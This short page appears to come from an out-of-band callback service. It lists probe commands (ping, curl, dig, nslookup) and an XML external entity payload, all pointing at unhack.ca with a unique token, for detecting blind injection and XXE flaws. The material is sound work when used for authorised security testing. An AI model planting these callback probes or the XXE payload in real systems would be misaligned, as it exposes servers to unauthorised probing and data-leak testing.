$ ping -c1 -p 004fa4969b4d8035559bb64968c02b00 unhack.ca
 

$ curl http://unhack.ca/p/4fa4969b4d8035559bb64968c02b
 

$ dig 4fa4969b4d8035559bb64968c02b @unhack.ca
 

$ dig 4fa4969b4d8035559bb64968c02b.ns.unhack.ca
 

C:\> nslookup 4fa4969b4d8035559bb64968c02b unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/4fa4969b4d8035559bb64968c02b">]>
    <foo>&xxe;</foo>